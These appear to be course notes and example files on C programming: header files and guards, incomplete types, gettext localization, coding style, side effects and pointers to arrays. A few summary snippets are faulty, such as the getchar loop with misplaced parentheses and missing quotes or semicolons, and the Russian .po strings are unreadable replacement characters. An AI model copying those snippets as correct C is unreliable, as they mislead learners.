  • compiler checks calls against the declaration
  • object file records an unresolved external reference
  • linker connects it to the function's definition
  • caller need not compile the function body again

incremental rebuild:

  • recompile changed source / affected dependencies
  • reuse unchanged object files
  • link the resulting objects again

3

declaring an external variable:

  • extern int very_bad_global_variable;
  • tells the compiler its type and name
  • storage is defined in another translation unit

4

book discourages communication through mutable global variables:

  • hidden shared state can affect otherwise unrelated functions

shared read-only tables avoid that particular problem:

  • one module defines const int prime_numbers[] = { 2, 3, 5, ... };
  • clients declare extern const int prime_numbers[];
  • all use the same table without duplicating it or changing its contents

Header files for modules

Use header files for function and global variable declarations that you want to export to other modules. Prepend static to functions and global variables that you do not export to other modules. Always include a module's header file inside the module so that the compiler helps you catch inconsistencies between the two.

Without a shared header, nothing checks that a call matches the definition. These two modules compile and link without a single warning:

#include <stdio.h>

int mult(int x, int y);

int main() {
    printf("%d\n", mult(2, 4));
    return 0;
}
int mult(int x, int y, int z) {
    return x * y * z;
}
$ gcc -Wall main.c mult.c -o mult
$ ./mult
-1039142080
$ ./mult
-2142387904

The third factor is whatever happens to be in its register. With int mult(int x, int y, int z); in a header included by both files, the compiler rejects the call instead.

Detailed notes - 4.7.3: Header files for modules

1

copying external declarations into every client is difficult to

maintain:

  • number of copies grows with the project
  • changing parameters / return type requires changing every declaration
  • inconsistent declarations in separately compiled files may escape diagnosis

2

example: func changes from two int parameters to three:

  • updated declarations make the compiler reject outdated calls
  • one forgotten declaration still permits a two-argument call
  • actual function expects a third argument that the caller did not supply
  • -> undefined behavior; details depend on the calling convention

3

changing an argument from int to double creates a similar mismatch

  • changing the return type can also disagree with how the caller receives it
  • successful compilation / linking does not establish interface consistency

4

module header keeps exported declarations in one place:

  • m1.c implementation -> m1.h interface
  • exported function: prototype in .h, body in .c
  • exported variable: extern declaration in .h, definition in .c
  • private implementation details remain outside the public header

5

clients use #include "m1.h":

  • preprocessing supplies the same declarations to every client
  • interface changes require editing one shared header
  • rebuild affected modules so compiler checks calls against the new interface

6

implementation must include its own header:

  • compiler sees both public declarations and actual definitions
  • mismatch between the interface and implementation becomes diagnosable

7

mark private functions and file-scope variables static:

  • exported names belong in the header
  • internal names should have internal linkage
  • otherwise an undocumented external name can collide with another module

8

main is the usual exception:

  • normally omitted from the project's public headers
  • must remain available to the program's startup code
Tests & experiments (3 files) - 4.7.3: Header files for modules
Section test03 (04-07)In catalog
header-mult-dbl.cC / 3 lines
double mult(int x, int y) {
    return x * y;
}
header-mult.cC / 3 lines
int mult(int x, int y, int z) {
    return x * y * z;
}
header.cC / 8 lines
#include <stdio.h>

int mult(int x, int y);

int main() {
    printf("%d\n", mult(2, 4));
    return 0;
}

Protection against multiple inclusion

Multiple inclusion can cause problems: repeated type definitions lead to compiler errors, while repeated macro definitions may produce warnings. So headers should be protected against multiple inclusion.

#ifndef MYMODULE_H_SENTRY
#define MYMODULE_H_SENTRY
/*
    ...
    Content of mymodule.h file
    ...
*/
#endif

When creating a new module we:

  1. create empty files newmod.c and newmod.h
  2. insert in file newmod.c the directive
#include newmod.h
  1. insert in file newmod.h the directives
#ifndef NEWMOD_H_SENTRY
#define NEWMOD_H_SENTRY


#endif
  1. register the created files in the version control system and the build system
  2. document the addition of the new module
Detailed notes - 4.7.4: Protection against repeated inclusion

1

shared user-defined types belong in a header:

  • several modules may use one struct / union / enum
  • another header may need this type for its own exported declarations
  • -> headers sometimes include other headers

2

shared macros also belong in headers

  • dependencies on macros can likewise require including another header

3

basic division between implementation and interface:

  • functions / global storage: definitions in .c
  • exported functions: prototypes in .h
  • exported variables: extern declarations in .h
  • private functions / global objects: static in .c
  • shared types / macros: definitions in .h
  • private types / macros: definitions in .c

4

repeated inclusion can happen indirectly:

  • module includes bbb.h and ddd.h
  • ddd.h also includes bbb.h
  • -> compiler processes bbb.h twice within one translation unit

5

consequences depend on the header contents:

  • compatible repeated function / extern declarations are allowed
  • repeated structure definitions cause errors
  • conflicting macro redefinitions require a diagnostic
  • identical permitted macro redefinitions need not produce warnings

6

removing a direct include is a fragile solution:

  • dependency may change inside another header later
  • previously valid modules can then acquire duplicate definitions
  • each client should be able to include the interfaces it directly needs

7

header guard / sentry macro:

  • choose a unique name such as MYMODULE_H_SENTRY
  • begin header with #ifndef MYMODULE_H_SENTRY
  • next line: #define MYMODULE_H_SENTRY
  • place header contents inside; finish with #endif

first inclusion:

  • macro absent -> contents processed and macro defined

later inclusion in the same translation unit:

  • macro already defined -> contents skipped
  • -> repeated inclusion no longer repeats the guarded declarations / definitions

8

book describes guards as a practical use of conditional compilation

  • they supply inclusion protection using existing preprocessor facilities

9

a declaration-only header may not strictly need protection yet

  • later additions can change that
  • adding guards at creation avoids having to reconsider every future edit

10

new-module routine:

  • create newmod.c and newmod.h
  • put #include "newmod.h" in newmod.c
  • put NEWMOD_H_SENTRY guards around the contents of newmod.h
  • register both files with version control and the build
  • document the module's purpose / interface

Type declarations; incomplete types

We can declare an incomplete type struct like this:

struct item;

Then we can only work with pointers to this type. We have already used type declarations in linked lists:

struct item {
    int data;
    struct item *next;
}

The compiler does not know what struct item is yet. So struct item in struct item *next is a declaration.

Detailed notes - 4.7.5: Type declarations; incomplete types

1

struct item; declares a type without defining its members:

  • compiler knows that struct item names a structure
  • layout and size are not known yet
  • -> incomplete type
  • unions can also be declared incompletely

2

incomplete object type cannot provide storage / layout for an object definition

  • pointers to it can be declared
  • compiler need not know the pointed-to structure's members to store a pointer

3

incomplete types allow recursive links:

  • two structures can contain pointers to each other
  • struct item can contain struct item *next;
  • its own definition is still incomplete when next is declared
  • embedding a pointer is possible; embedding another complete copy is not

4

using struct item * can introduce the tag without a preceding definition

  • a separate struct item; declaration still helps establish the intended scope
  • especially useful before public function prototypes using that pointer type

5

forward declarations reduce header dependencies:

  • a declaration using only struct item * may not need the full structure header
  • fewer nested includes -> less source to process / fewer rebuild dependencies
  • useful when types refer to one another and inclusion order would be awkward

6

opaque type interface:

  • public header declares the structure and functions accepting its pointer
  • implementation keeps the full structure definition private
  • client stores / passes handles but cannot access hidden members
  • FILE * is a familiar example of an interface intended for library-managed use

7

enum forward declarations are a different case:

  • book warns against relying on compiler extensions in its C dialect
  • rules depend on the selected language version / implementation
  • structure forward-declaration rules should not simply be assumed for enum

The C language and coding style

Detailed notes - 4.8: C language and coding style

1

formatting principles have appeared throughout the book

  • accumulated programming experience makes subtler style decisions easier to assess
  • this section revisits general principles and their application to C

(*) Programs that speak Russian

Keeping source identifiers and default strings in English while wrapping user-visible messages in gettext macros separates program logic from translation catalogs, making localization into Russian or other languages straightforward.

Detailed notes - 4.8.5: (*) Programs that speak Russian

1

English source-code conventions do not determine the user's interface language

  • a program may need Russian, German, Chinese, or other localized messages

2

separate translatable messages from program logic:

  • developers and users may speak different languages
  • translations can be supplied by people who did not write the program
  • runtime selects translated strings from external message files

3

gettext provides message lookup:

  • write printf(_("Hello, world\n"));
  • _ expands to a gettext call
  • original message is the lookup key
  • available translation -> use translated string
  • missing translation / catalog -> retain the original message

4

localization can be disabled by changing the wrapper:

  • #define _(STR) (STR)
  • existing marked call sites continue using the original text

5

marking user-visible messages prepares a program for translation:

  • book recommends English original messages as a common working language
  • easier for a broad translator community to use one shared source language
  • English is a project convention here; gettext keys are not restricted to English

6

book's rule: provide localization or at least keep a consistent English baseline

  • when Russian output is required, put Russian translations in the message catalog
  • make it possible to add further languages without rewriting program logic

7

following example demonstrates that arrangement with gettext

  • it follows the author's preference for English / ASCII handwritten C source
  • localized message files contain the other languages

8

starting program prints a greeting and a farewell:

  • "Hello, world!\n"
  • "Good bye, world!\n"

first preparation step:

  • define _(STR) as (STR)
  • wrap the two displayed messages in _()
  • behavior stays the same until the macro is connected to gettext

N_(STR) can mark text for translation later without calling gettext

immediately:

  • useful in static initializers where a runtime call cannot be used
  • translate that stored string when it is actually displayed
  • genuinely nontranslatable strings should be distinguished from deferred messages
  • book uses N_ more broadly; it is conventionally a deferred-translation marker

9

headers needed for the localized version:

  • locale.h -> setlocale
  • libintl.h -> gettext, bindtextdomain, textdomain
  • initialize locale settings before expecting localized messages

10

gettext configuration identifies:

  • base directory containing catalogs for different locales
  • text domain: usually the program / package name
  • together with the selected locale, these determine the catalog path

11

example domain: hellobye

  • installed catalogs often live below /usr/share/locale or /usr/local/share/locale
  • demonstration uses "." as the base directory
  • this works only when run from the expected working directory
  • real programs need a reliable installed / configured location

12

configuration constants and wrappers:

  • LOCALEBASEDIR -> "."
  • TEXTDOMAIN -> "hellobye"
  • _(STR) -> gettext(STR)
  • N_(STR) -> (STR)

startup sequence:

  • setlocale(LC_CTYPE, "") selects character settings from the environment
  • setlocale(LC_MESSAGES, "") selects message-language settings
  • bindtextdomain(TEXTDOMAIN, LOCALEBASEDIR) sets the catalog base
  • textdomain(TEXTDOMAIN) selects the default message domain
  • then print the two _()-wrapped messages

create the translation template:

  • xgettext --keyword="_" hellobye.c -o hellobye.pot
  • --keyword tells the extractor which wrapper marks messages
  • .pot = portable object template
  • entries contain msgid with original text and an initially empty msgstr

prepare a language catalog:

  • copy the template to ru.po
  • describe the package / version, translator, language, and catalog encoding
  • keep the declared encoding consistent with the file's actual bytes
  • book's example uses KOI8-R; UTF-8 can be used instead
  • maintain revision metadata; compiling a catalog does not supply missing translations

13

fill each msgstr with the corresponding Russian message:

  • preserve meaningful newlines and format placeholders
  • review / clear fuzzy status for translations that are ready for use

compile catalogs:

  • msgfmt ru.po -o ru.mo
  • .mo = compiled catalog suitable for efficient runtime lookup
  • prepare de.po similarly, then msgfmt de.po -o de.mo

catalog placement follows base / language / category / domain.mo:

  • ./ru/LC_MESSAGES/hellobye.mo
  • ./de/LC_MESSAGES/hellobye.mo
  • both languages use the same domain filename in different directories

build and try the program:

  • gcc -Wall -g hellobye.c -o hellobye
  • some systems require linking the separate intl library with -lintl
  • selected locale / LANGUAGE controls the translated messages
  • LANGUAGE=de ./hellobye or LANGUAGE=ru ./hellobye with a working locale
  • LANGUAGE=en ./hellobye uses the English messages
  • missing translations / unsuitable locale configuration can leave English output

14

when source messages change:

  • regenerate hellobye.pot with xgettext
  • msgmerge -U --backup=numbered ru.po hellobye.pot
  • repeat for de.po
  • existing translations are retained where applicable
  • numbered backup preserves the previous .po file
  • translate new entries and review any changed / fuzzy matches
  • rebuild .mo files with msgfmt and install them in the catalog directories

15

example covers only the simplest gettext facilities

  • consult the gettext documentation for further features
  • gettext can be used without adopting Autoconf / Automake
  • author's broader rejection of those build tools is an opinion

16

gettext is one possible localization mechanism:

  • another library or a simple custom catalog loader can provide translations
  • book's central requirement: keep non-English messages outside handwritten source
  • load external message files at runtime
  • alternatively generate C arrays from message files during the build
  • generated numeric byte initializers can represent localized text
  • -> translation resources and program logic remain separately maintainable
Examples & tests (9 files) - 4.8.5: (*) Programs that speak Russian
Book exampleBook example: gettext/In catalog
gettext/de.poText / 30 lines
# German translation for the HelloBye program
# No copyright is claimed!
# Andrey V. Stolyarov, 2016.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: HelloBye 1.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-03-21 19:02+0300\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: Andrey V. Stolyarov\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=KOI8-R\n"
"Content-Transfer-Encoding: 8bit\n"

#: hellobye.c:17
#, c-format
msgid "Hello, world!\n"
msgstr "Hallo Welt!\n"

#: hellobye.c:18
#, c-format
msgid "We are speaking\n"
msgstr ""

#: hellobye.c:19
#, c-format
msgid "Good bye, world!\n"
msgstr "Auf Wiedersehen Welt!\n"
gettext/hellobye.cC / 21 lines
#include <stdio.h>
#include <locale.h>
#include <libintl.h>

#define LOCALEBASEDIR "."
#define TEXTDOMAIN "hellobye"

#define _(STR) gettext(STR)
#define N_(STR) (STR)

int main()
{
    setlocale(LC_CTYPE, "");
    setlocale(LC_MESSAGES, "");
    bindtextdomain(TEXTDOMAIN, LOCALEBASEDIR);
    textdomain(TEXTDOMAIN);
    printf(_("Hello, world!\n"));
    printf(_("We are speaking\n"));
    printf(_("Good bye, world!\n"));
    return 0;
}
gettext/ru.poText / 30 lines
# Russian translation for the HelloBye program
# No copyright is claimed!
# Andrey V. Stolyarov, 2016.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: HelloBye 1.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-03-21 19:02+0300\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: Andrey V. Stolyarov\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=KOI8-R\n"
"Content-Transfer-Encoding: 8bit\n"

#: hellobye.c:17
#, c-format
msgid "Hello, world!\n"
msgstr "����������, ���!\n"

#: hellobye.c:18
#, c-format
msgid "We are speaking\n"
msgstr ""

#: hellobye.c:19
#, c-format
msgid "Good bye, world!\n"
msgstr "�� ��������, ���!\n"
Section test05 (04-08)In catalog
generate_translation.cC / 61 lines
#include <stdio.h>
#include <string.h>

struct { const char *s, *d; } dict[] = {
    {"Hello, world!\n", "Привіт, світику!\n"},
    {"We are speaking!\n", "Ми спілкуємось!\n"},
    {"Good bye, world!\n", "Бувай!\n"},
    {NULL, NULL}
};

const char* tr(const char *str) {
    for (int i = 0; dict[i].s; i++)
        if (strcmp(dict[i].s, str) == 0) return dict[i].d;
    return str;
}

void dump(const char *str, int id) {
    printf("const char msg_%d[] = {\n    ", id);
    for (int i = 0, c = 0; str[i]; i++) {
        printf("0x%02x, ", (unsigned char)str[i]);
        if (++c % 8 == 0) printf("\n    ");
    }
    printf("0x00\n};\n");
}

char in[8192];
int sz;

void pass1(void) {
    char buf[1024];
    for (int i = 0, in_s = 0, id = 0, p = 0; i < sz; i++) {
        if (in[i] == '"') {
            if (in_s) { buf[p] = '\0'; dump(tr(buf), id++); in_s = 0; }
            else { in_s = 1; p = 0; }
        } else if (in_s) {
            if (in[i] == '\\' && in[i+1] == 'n') { buf[p++] = '\n'; i++; }
            else buf[p++] = in[i];
        }
    }
}

void pass2(void) {
    for (int i = 0, in_s = 0, id = 0; i < sz; i++) {
        if (in[i] == '"') {
            if (in_s) { printf("msg_%d", id++); in_s = 0; }
            else { in_s = 1; }
        } else if (!in_s) {
            putchar(in[i]);
        } else if (in[i] == '\\') {
            i++;
        }
    }
}

int main(void) {
    sz = fread(in, 1, sizeof(in)-1, stdin);
    in[sz] = '\0';
    pass1();
    pass2();
    return 0;
}
hellobye-00.cC / 21 lines
#include <stdio.h>
#include <locale.h>
#include <libintl.h>

#define LOCALBASEDIR "."
#define TEXTDOMAIN "hellobye"

#define _(STR) gettext(STR)
#define N_(STR) (STR)

int main()
{
    setlocale(LC_CTYPE, "");
    setlocale(LC_MESSAGES, "");
    bindtextdomain(TEXTDOMAIN, LOCALBASEDIR);
    textdomain(TEXTDOMAIN);
    printf(_("Hello, world!\n"));
    printf(_("We are speaking!\n"));
    printf(_("Good bye, world!\n"));
    return 0;
}
hellobye-01.cC / 9 lines
#include <stdio.h>

int main()
{
    printf("Hello, world!\n");
    printf("We are speaking!\n");
    printf("Good bye, world!\n");
    return 0;
}
hellobye-de.poText / 30 lines
# German translation for the HelloBye program
# No copyright is claimed!
# Hnat Lesiv, 2026
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: HelloBye 1.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2026-05-01 09:49+0200\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: Hnat Lesiv\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: hellobye.c:17
#, c-format
msgid "Hello, world!\n"
msgstr "Hallo Welt!\n"

#: hellobye.c:18
#, c-format
msgid "We are speaking!\n"
msgstr "Wir sprechen!\n"

#: hellobye.c:19
#, c-format
msgid "Good bye, world!\n"
msgstr "Auf Wiedersehen Welt!\n"
hellobye-translate-01.cC / 25 lines
const char msg_0[] = {
    0xd0, 0x9f, 0xd1, 0x80, 0xd0, 0xb8, 0xd0, 0xb2,
    0xd1, 0x96, 0xd1, 0x82, 0x2c, 0x20, 0xd1, 0x81,
    0xd0, 0xb2, 0xd1, 0x96, 0xd1, 0x82, 0xd0, 0xb8,
    0xd0, 0xba, 0xd1, 0x83, 0x21, 0x0a, 0x00
};
const char msg_1[] = {
    0xd0, 0x9c, 0xd0, 0xb8, 0x20, 0xd1, 0x81, 0xd0,
    0xbf, 0xd1, 0x96, 0xd0, 0xbb, 0xd0, 0xba, 0xd1,
    0x83, 0xd1, 0x94, 0xd0, 0xbc, 0xd0, 0xbe, 0xd1,
    0x81, 0xd1, 0x8c, 0x21, 0x0a, 0x00
};
const char msg_2[] = {
    0xd0, 0x91, 0xd1, 0x83, 0xd0, 0xb2, 0xd0, 0xb0,
    0xd0, 0xb9, 0x21, 0x0a, 0x00
};
#include <stdio.h>

int main()
{
    printf(msg_0);
    printf(msg_1);
    printf(msg_2);
    return 0;
}
hellobye-ua.poText / 30 lines
# Ukrainian translation for the HelloBye program
# No copyright is claimed!
# Hnat Lesiv, 2026
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: HelloBye 1.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2026-05-01 09:49+0200\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: Hnat Lesiv\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: hellobye.c:17
#, c-format
msgid "Hello, world!\n"
msgstr "Привіт, світику!\n"

#: hellobye.c:18
#, c-format
msgid "We are speaking!\n"
msgstr "Ми балакаємо!\n"

#: hellobye.c:19
#, c-format
msgid "Good bye, world!\n"
msgstr "Прощавай, світику!\n"

General principles

Detailed notes - 4.8.1: General principles revisited

1

source code is read by people as well as processed by computers

  • make its structure easy to recognize
  • author gives readability priority and insists on fixing poor formatting first

2

book's source-text conventions:

  • ASCII characters and English comments
  • English identifier names that express their purpose
  • short local names only when their role is obvious from context
  • choose clear names / structure before adding explanatory comments
  • these are the book's style rules, not universal language restrictions

3

indentation displays nesting:

  • nested text shifts right by one consistent indentation unit
  • choose spaces or tabs consistently throughout the program
  • matching opening / closing structural boundaries should align

brace styles discussed:

  • opening brace on next line, aligned with the statement header
  • opening brace beside the header, closing brace aligned with its beginning
  • indented braces: possible, but not recommended by the author

4

book's function formatting:

  • opening brace on a separate line
  • both function braces at the left edge
  • indent the contents, not the entire brace pair
  • function header also has an independent role as a declaration
  • -> separate header and body visually

5

preferred shape for a function:

  • float cube(float a)
  • opening brace on its own line
  • indented return a * a * a;
  • closing brace on its own line
  • do not compress a whole function body onto one line in this style
Detailed notes - 4.8.2: C-specific style features

1

C is case-sensitive:

  • if is a keyword
  • If, iF, IF are three different identifiers

2

book's usual identifier convention:

  • MACRO_NAMES in uppercase
  • ordinary_names in lowercase, words separated by underscores
  • avoid mixedCase / CamelCase in this style
  • naming traditions differ across projects and languages

3

mixed-case type names do appear in some C libraries

  • author acknowledges that they need not reduce clarity
  • still recommends consistent lowercase naming for the book's own code

4

avoid inventing identifiers beginning with _:

  • many such names are reserved for the implementation
  • a name that works today can collide with another toolchain / platform / header
  • -> this conservative naming rule helps portability

5

C declarations can have substantial internal structure:

  • struct / union / enum definitions
  • array / structure initializers
  • format their contents to expose that structure

6

struct / union formatting:

  • opening brace beside the type name or on the following line
  • closing brace aligned with the start of the declaration
  • members on separate indented lines
  • avoid compressing a structure definition into one line

enum formatting:

  • short list without explicit values can fit on one line
  • long list / explicitly assigned values -> one member per line
  • align = signs when doing so improves readability
  • keep brace placement consistent with structure declarations

initializer formatting:

  • short initializer may occupy one line
  • long / commented initializer -> one value per line or aligned rows
  • for a matrix, usually one row initializer per source line
  • split overlong matrix rows consistently

7

while(condition); is visually ambiguous:

  • may end a do / while loop
  • may instead begin a while loop with an empty body
  • -> formatting should make the intended structure immediately visible

8

book recommends braces for every do / while body:

  • even when the body contains one statement
  • keep } while(condition); together
  • this visually connects the final test to the preceding body
  • C permits an unbraced body; the recommendation is a style rule
  • heavily indented brace styles make this arrangement awkward

9

indent a final return just like every other statement:

  • return can also occur inside a branch / loop
  • ending the function does not make it exempt from normal indentation

10

indent local declarations inside the function too

  • keeping declarations at the left edge makes the opening brace hard to see
  • declaration syntax differs from statements, but both belong to the body

Side effects

It is not possible to write a program in C without side effects. But we will significantly improve the readability of our program if we follow these rules:

  1. in a function a side effect could be present if that side effect is the purpose of the function
  2. assignment operations including +=, <<=, ... and '++', '--' should be leftmost in expressions
  3. function with a side effect could only be called like this:
function_with_side_effects(<parameters>);
result = function_with_side_effects(<parameters>);
  1. there is only one exception to the rules 2 and 3: there could be a side effect in a while loop of the "fetch-test-process" type:
while  ((c = getchar() != EOF) {
    /* ... */
}
Detailed notes - 4.3.21: Sequencing side effects

1

several side effects in one expression require attention to sequencing

  • source appearance alone does not establish execution order

2

f(h1(), h2(), h3()) evaluates the arguments before entering f

  • order among argument evaluations is not generally specified
  • calling-convention stack order does not determine C evaluation order

3

ordinary arithmetic operands also lack a general left-to-right guarantee

  • a[i] = i++ has an unsequenced read/modification conflict in C
  • this is undefined behavior, not merely a choice between writing a[7] or a[8]

4

b = (a += 5) + (a *= 2) modifies a without the required sequencing

  • undefined behavior; no computed result is a portable prediction

5

reversing a guessed operand order does not repair that expression

  • analyzing possible machine schedules cannot give undefined code a guarantee

6

book reports one compiler producing a = 12, b = 24

  • illustrates why observations from one build cannot establish language semantics
  • a warning should prompt rewriting the expression

7

full-expression boundaries complete preceding side effects

  • expression statement
  • control expressions in if / loops / switch
  • return expression
  • separately evaluated expressions in a for header

8

sequencing also occurs within selected operators

  • && / ||: left operand completes before evaluating the right, if needed
  • ?: condition completes before the chosen alternative
  • comma operator: left completes before right
  • function arguments finish before the called function body begins

9

author recommends limiting side effects in each expression

  • separate steps when their order matters
  • even one modification can be unsafe if mixed with an unsequenced read
  • precedence and parentheses alone do not create sequencing
Detailed notes - 4.8.3: Side effects

1

book's explanation of a side effect:

  • expression evaluation produces a value and also changes something observable
  • examples: modifying state, reading input, producing output

2

book distinguishes this expression-centered meaning from ordinary

actions:

  • uses Pascal procedures versus functions to explain its terminology
  • random updates generator state while returning a number
  • readkey consumes input while returning a character code
  • other programming literature also uses side effect more broadly

3

C makes assignments and increments expressions:

  • writing the new value is the assignment's side effect
  • expression statements commonly discard the value and keep the effect
  • void functions also perform actions even though they return no value
  • -> side effects are central to ordinary C programming

4

author connects the wider terminology to the influence of C-like languages

  • main practical warning: combining hidden state changes can obscure a program
  • compact syntax does not automatically make behavior easier to understand

5

string-copy idioms illustrate the readability problem:

  • assignment and two pointer increments can all occur in a while condition
  • valid code still needs sufficient destination space and a terminated source
  • superficially similar expressions can contain subtle mistakes

6

array[array_filled++] = x combines two actions:

  • store x at the old array_filled index
  • increase array_filled

clearer separation in the book's style:

  • array[array_filled] = x;
  • array_filled++;
  • reader need not reason about the value of postfix ++ inside indexing
  • compact notation alone does not establish a performance advantage

7

banning every side effect would rule out ordinary useful C programs

  • evaluate cases by clarity and purpose

input loop example:

  • read once before while, then read again at the end -> duplicated retrieval
  • while((c = getchar()) != EOF) -> retrieval written once
  • latter uses a side effect in the condition but can express the loop clearly

8

common loop pattern: retrieve -> test -> process

  • obtain next item
  • stop if retrieval failed / items exhausted
  • otherwise process it and repeat
  • test belongs between retrieval and processing

9

another implementation uses for(;;) or while(1):

  • retrieve inside the body
  • if finished, break
  • then process
  • author objects that the termination condition is less visible in the header

10

condition-side retrieval has a reasonable purpose in this pattern

  • alternatives duplicate retrieval or move the test inside the body
  • choose the form that makes the retrieve / test / process structure clear

11

book restricts that exception to retrieval loops:

  • discourages assignments / effectful calls inside an if condition
  • discourages consuming ++ / -- values inside larger expressions
  • these are the author's readability rules, not C syntax restrictions

12

many C functions perform an action and return its status:

  • scanf reports how many conversions succeeded
  • I/O functions report success / failure using their documented conventions
  • many Unix system-call wrappers return -1 on failure
  • some return zero on success; others return useful results such as a count
  • inspect each interface instead of assuming one universal convention

13

author considers action-plus-status an established C idiom

  • regardless of that criticism, callers must follow existing library interfaces

14

book's practical rules for effectful code:

  • function's externally visible effect should be its stated purpose
  • write assignments / ++ / -- as their own top-level operations
  • call an effectful function as f(arguments); or result = f(arguments);
  • exception: retrieval in a while condition for retrieve / test / process loops

examples accepted by this style:

  • x = 17; i++; f(x); result = f(x);
  • while((c = getchar()) != EOF) followed by character processing

examples discouraged by this style:

  • a = b = c; array[i++] = value;
  • assignments embedded in ?: or an if condition
  • f(x) + 1, array[f(x)], g(f(x)) when f changes external state
  • pure computations can be composed without those hidden state changes

Return values and output parameters

You should return values:

In all the other cases write void functions and output results via parameters.

Pointer parameters used only for input should be declared const.

Detailed notes - 4.8.4: Return values and output parameters

1

output parameter sends information back to the caller:

  • caller passes the address of an object to receive the result
  • callee writes through that pointer
  • useful when producing several results
  • C can also return a structure containing several values

2

inout parameter carries information both ways:

  • caller supplies an initial value
  • function reads / changes it
  • caller receives the updated value in the same object
  • mechanism is the same as an output parameter: pass the object's address

3

one inout value can instead be passed by value and returned:

  • delete_negatives(&first) with a struct item ** parameter updates first directly
  • first = delete_negatives(first) returns the replacement head pointer
  • adding an input parameter does not change that choice
  • add_to_int_list(&first, 27) versus first = add_to_int_list(first, 27)

return-value form is more flexible for an ordinary calculation:

  • logbase(arg, base) -> log(arg) / log(base)
  • caller may assign the result back, combine it, or pass it to another function
  • arguments may be expressions rather than existing writable variables
  • a pointer-based logbase that overwrites its argument unnecessarily limits use
  • -> calculating a value and deciding where to store it are separate responsibilities

4

a list head pointer is not the whole list:

  • copying a double produces an independent numeric value
  • copying first only copies access to the same nodes
  • modifying the list through one pointer can affect users of the other pointer
  • -> returning a pointer does not imply creating an independent list

5

distinguish computing a value from modifying an existing object:

  • logbase computes a result from its inputs
  • add_to_int_list changes an existing list
  • making a fresh independent list would require a different implementation

book prefers a pointer-to-pointer interface for that mutation:

  • function updates the caller's head pointer as part of its stated action
  • avoids relying on the caller to assign a returned head to the correct variable

6

book criticizes realloc's return-value interface on similar grounds

  • successful realloc can move the allocation and return a new pointer
  • for a nonzero requested size, failure leaves the original allocation valid
  • -> preserve the original pointer until success is known

7

several outputs raise an interface choice:

  • which result, if any, belongs in the function's return value?
  • do not choose an arbitrary result merely for presumed register efficiency
  • actual calling conventions / optimization vary

8

book's recommendation for action-oriented functions:

  • if there is a success / failure indicator, return that indicator
  • deliver the other results through output parameters
  • if no result has that special status role, use void and output parameters
  • this is an interface-design preference, not a restriction imposed by C

9

standard interfaces do not always follow that recommendation:

  • strtol, strtoll, strtof return a parsed value and report other information separately
  • author uses these functions while criticizing their interface design

10

pointer parameters intended only for reading should point to const

data:

  • const makes the absence of writes through that parameter visible
  • mutable pointer suggests the function may update the pointed-to object
  • -> declarations should communicate input versus output / inout intent

"Tricky" pointer types

Detailed notes - 4.9: Complicated pointer types

1

array and function pointers can make declarations difficult to read

  • nested parentheses and stars express several levels of type structure
  • typedef gives a meaningful name to an intermediate type
  • use it when the complete declaration becomes hard to understand

Multidimensional arrays and pointers to arrays

int m[3][4] = {                  /* 2D array initialization */
    {0, 0, 0, 0},
    {0, 1, 2, 3},
    {0, 2, 4, 6}
}
for (int i = 0; i < 3; i++)      /* iterating over rows */
    for (int j = 0; j < 4; j++)  /* iterating over columns */
        m[i][j] = i * j;         /* m[i][j] = element at row i and column j */
int (*p)[4];            /* different from:  int *p[4]  */
p = m;                  /* now we can use p in the same way as m */
int m3[10][15][20]
int (*m3ptr)[15][20];   /* same applies to 3D arrays */
m3ptr = m3;
Detailed notes - 4.9.1: Multidimensional arrays and pointers to arrays

1

int m[3][4]:

  • array of 3 elements, each an array of 4 ints
  • rows occupy consecutive memory locations
  • m[0][0] ... m[0][3], then m[1][0] ... m[1][3], then the last row

2

one pair of square brackets for each dimension:

  • m[2][1]: row 2, column 1; both indices start at 0
  • m[i][j] applies indexing twice
  • nested loops can assign m[i][j] = i * j
  • nested initializer braces group the elements by row
  • comma-separated indices do not express multidimensional indexing in C

3

array-pointer relationships can take time to understand

  • return to the rules and work through concrete addresses and types

4

question behind multidimensional indexing: what is the type of m?

5

in most expressions an array converts to a pointer to its first element

  • m's first element is a complete row, not a single int
  • m[1] designates the second row
  • that row in turn converts to int* when used for the second indexing step
  • sizeof and unary & are important cases where array conversion does not happen

6

m[1] = *(m + 1):

  • m + 1 advances by one complete row: 4 * sizeof(int)
  • dereferencing selects that row; ordinary expression use converts it to int*
  • int** cannot describe this arrangement
    • it points to a stored int* object
    • its increment advances by sizeof(int*), not by the size of a row

7

int (*p)[4]: pointer to an array of 4 ints

  • p = m; p[i][j] accesses the same elements as m[i][j]
  • parentheses make * bind to p before the array suffix is applied

int *q[4]: array of 4 pointers to int

  • a different type and memory arrangement
  • arrays are real C types, although whole-array assignment is not supported

8

int z[10][15][20]: array of 10 two-dimensional slices

  • corresponding pointer: int (*zptr)[15][20]
  • zptr + 1 advances by 15 * 20 * sizeof(int)
  • 1200 bytes on the example machine where sizeof(int) is 4
Tests & experiments (3 files) - 4.9.1: Multidimensional arrays and pointers to arrays
Section test01 (04-09)In catalog
complex-00.cC / 28 lines
#include <stdio.h>

int add(int x, int y) { return x + y; }
int sub(int x, int y) { return x - y; }
int mul(int x, int y) { return x * y; }
int div(int x, int y) { return x / y; }

int main()
{
    int x = 1, y = 2, z;
    int (*array[2][2])(int, int);

    int (*(*array_pointer)[2])(int, int);
    array_pointer = array;

    array_pointer[0][0] = add;
    array_pointer[0][1] = sub;
